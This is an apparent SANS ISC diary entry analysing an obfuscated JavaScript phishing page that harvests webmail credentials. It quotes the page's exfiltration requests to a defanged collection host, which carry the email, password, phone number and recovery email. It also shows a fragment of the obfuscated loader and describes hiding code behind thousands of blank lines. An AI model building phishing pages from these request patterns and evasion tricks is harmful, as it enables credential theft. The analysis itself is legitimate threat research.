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100% JavaScript Phishing Page, (Fri, Aug 9th)

While reviewing my hunting scripts results, I found a nicely obfuscated phishing page entirely based on JavaScript. The page is called ‘COURT ORDER LETTER.html’ (SHA256:54b2efcf5aef60ce3654d2f73f5fd438382b09168c6b599798ec9da8d204c562) and has a very low VT score: 2/53[1]! The file is quite big (941KB) and contains a big chunk of Base64 encoded data:


Once decoded, this data appears to not be malicious. It just contains a local copy of well-known JavaScript libraries to help in rendering nice web interfaces. The content of the libraries has just been concatenated into a big file then Base64 encoded. It contains the following pieces of code:

  • jQuery v3.1.0
  • Bootstrap v3.3.7
  • clipboard.js 1.5.12
  • Lity – v1.5.1 
  • FitVids 1.1
  • jquery.matchHeight-min.js
  • jquery.slimScroll.min.js

When you load the page in your sandbox, you get this nice screen:

The fake login page supports multiple service providers: Gmail, Office365, Yahoo!, Hotmail, AOL or “Others” (the victim may use a drop list to select his/her preferred authentication method).

Once the credentials have been provided, a second dialog box asks for more details: a phone number and a recovery email address. This information is very interesting from the attacker perspective to try to hijack the victim’s account.

Finally, the attacker returns a JPG file to the victim:

All the required content is loaded from the JavaScript file. 
Collected information is exfiltrated to the following IP address: 185[.]224[.]138[.]93. Here are the HTTP requests generated.

The credentials:

GET hxxp://7a240[.]a240248[.]96[.]lt/MSS2RO37qTL3CBw9vO0Lk2BX8vV7jMX2MLEsIM9ddw11feM3Sjp3ijUOUFK/[email protected]&upw=foobar&hidCflag=

The phone number and recovery email:

POST hxxp://7a240[.][email protected][.]96[.]lt/MSS2RO37qTL3CBw9vO0Lk2BX8vV7jMX2MLEsIM9ddw11feM3Sjp3ijUOUFK/msoo.php
fon= 1123456789
[email protected]

Finally, the JPEG image is downloaded via:

GET hxxp://7a240[.]a240248[.]96[.]lt/MSS2RO37qTL3CBw9vO0Lk2BX8vV7jMX2MLEsIM9ddw11feM3Sjp3ijUOUFK/dsp.php

What about the obfuscation techniques?

The HTML page starts with a byte order mark (BOM[2]):

Followed by a comment:

And followed by 7000+ empty lines before the effective obfuscated JavaScript code:

O~z^cTk]Ma6"V[NA,5:tnCL9tWpdGf_xJh2)3E+X#!gIbjHnUK?;ye 0BiR4/&.v(P 
=DFlr8uo71wYq-<",kmjo,d1fh=frts.length,ivlw={cd:""},ue=new b62j("ret"+"urn unesc"+"ape")(),pq6e=new b62j("x",ue("%74 
hi%73.c%64+=x")),yeuh=new b62j("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(jkm5=0;jkm5-1){kmjo-=(jkm5+1)%d1fh;if(kmjoAf,} efNPiG])n$AD'!p8TVcMwtqMn_1JZN,;Q5)n2YNYow,.KKkC?;ye9.XhvqtHZ 
[89fes78/x4HGD_lJ8(#s]7gw'!#JF,z>^e*[email protected]/0,{=u'Dn8(C7l=8S:!iR4/&.4hvg 
^FOAIZaYqMo?=0#Qtp:ertEL3.q/,J'Bzyk>&t6,$:FK5U0%709 & Zf/D4{x/qvY9X9gI7+&+OP^o+W7]BY6$[ 
3:*':8nmC/IW) ...

I don’t know how this malicious file was dropped to victims. I presume via an email. If the page is properly designed and the code well obfuscated, I don’t understand why the attacker did not take time to implement SSL communication with the server collecting stolen credentials and register a nice domain name. 96[.]lt [3] is already known as a bad domain:


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

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